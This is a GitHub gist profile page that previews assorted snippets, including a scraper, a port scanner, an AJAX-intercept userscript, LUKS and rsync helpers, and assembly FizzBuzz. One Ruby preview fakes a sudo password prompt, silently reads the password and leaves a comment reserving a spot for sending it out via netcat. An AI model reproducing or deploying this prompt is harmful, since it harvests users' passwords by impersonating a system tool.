Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View 0x1F602's full-sized avatar

PN 0x1F602

  • International Space Station
View GitHub Profile
@0x1F602
0x1F602 / amazon_scraper.js
Created April 19, 2018 23:38
amzn - ebay arbys
const Xray = require('x-ray');
const xray = Xray();
const Promise = require('promise');
const request = require('request');
const numeral = require('numeral');
function scrape_best_sellers(language, best_seller_url) {
return new Promise(function (resolve, reject) {
var web_url_base = 'https://www.amazon.' + language;
xray(web_url_base + best_seller_url, {
@0x1F602
0x1F602 / quickscan.pl
Created February 6, 2022 20:50 — forked from rkulla/quickscan.pl
Simple Perl-based Port Scanner
#!/usr/bin/perl
# Easy port scanner
# I wrote this in the 90s to help learn socket programming
# ./quickscan -h for usage
use Socket;
$| = 1; # so \r works right
my ($ip, $protocol, $port, $myhouse, $yourhouse, $log);
@0x1F602
0x1F602 / intercept.js
Created August 6, 2021 02:52
Intercept AJAX Tampermonkey Script
(function() {
'use strict';
XMLHttpRequest.prototype.realOpen = XMLHttpRequest.prototype.open;
var myOpen = function(method, url, async, user, password) {
console.log('h00ked', url);
// if(url != 'post.php') {
//call original
this.realOpen (method, url, async, user, password);
// }
// else {
#!/usr/bin/env ruby
require 'rubygems'
require 'json'
require 'pony'
require 'text-table'
# We write a file with the following format:
# ip_address,mac_address,accepted,alerted,first_seen_timestamp
email_to_alert = "email"
gmail_username = 'email'
gmail_app_password = 'password'
perl -e 'use utf8; binmode STDOUT, ":encoding(UTF-8)"; no bytes; my $c = "\x{1F0A1} \x{1F0B1} amazon \x{1F0C1} \x{1F0D1}"; use POSIX; my $L = floor(length($c)/2); my $z = 0; for $x (1..50) { for $y (1..50) { $z = !$z; if ($x == 25 && $y == (25 - $L)) { print "$c"; } if ($x == 25 && $y >= (25 - $L) && $y <= (25 + $L - !(length($c) % 2))) { next; } if ($z) { print "."; } else { print " "; } }; $z = !$z; print "\n"; }'
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
#!/bin/sh
COMMAND=$1
FILENAME=$2
FILESIZE=$3
usage() {
echo "Usage: ./simpleluks.sh command [args ...]"
echo " ./simpleluks.sh create some_name size_in_GB"
echo " ./simpleluks.sh open some_name"
echo " ./simpleluks.sh close some_name"
}
require 'io/console'
if ARGV.empty?
# show help info
system("/usr/bin/sudo")
else
username = ENV['USER']
print "[sudo] password for #{username}: "
password = STDIN.noecho(&:gets).chomp
puts ""
# netcat goes here
; to compile and run:
; nasm -f elf64 -l fizzbuzz.lst fizzbuzz.asm
; gcc -o fizzbuzz fizzbuzz.o
; ./fizzbuzz
global main
extern printf
section .text
main:
rsync -av \
--exclude="/.*" \
--exclude="/golang/" \
--exclude="/bin/" \
--delete \
-e ssh \
~/your_local_site_directory \
username@example.com:~/public_html/site_directory
package main
import (
"fmt"
"os"
"io/ioutil"
"text/template"
)
func readLines(path string) (string, error) {